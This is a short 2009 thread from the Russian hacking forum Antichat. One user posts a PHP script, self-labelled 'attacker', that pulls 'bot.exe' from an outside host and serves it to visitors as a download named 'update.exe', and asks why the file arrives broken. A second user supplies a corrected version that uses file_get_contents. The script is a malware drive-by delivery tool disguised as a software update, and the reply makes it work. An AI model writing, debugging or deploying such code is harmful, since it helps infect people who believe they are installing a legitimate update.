Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   fix bug in code plz (https://forum.antichat.xyz/showthread.php?t=116314)

darknetvn 17.04.2009 01:28

fix bug in code plz
 
code php

PHP код:

<?php    

// attacker

$bot 'http://www.bot1.cn/bot.exe';    // url of exe file    

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');    
header('Content-Type: application/octet-stream');    
header('Content-Disposition: attachment; filename=update.exe');    
header('Content-Length: ' filesize($bot));    
readfile($bot);    
die;    

?>

when i run file php and check update.exe is file bad
bot.exe is can't loaded with original file and md5 checksum original

plz help me if you can ,thanks all :rolleyes:

mr.The 17.04.2009 10:42

read this _ttp://ua2.php.net/function.readfile
or try file_get_contents() function.

PHP код:

<?php     

// attacker 

$bot 'http://www.bot1.cn/bot.exe';    // url of exe file     

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');     
header('Content-Type: application/octet-stream');     
header('Content-Disposition: attachment; filename=update.exe');     
header('Content-Length: ' filesize($bot));     
echo 
file_get_contents($bot);     
exit;    

?>



Время: 12:52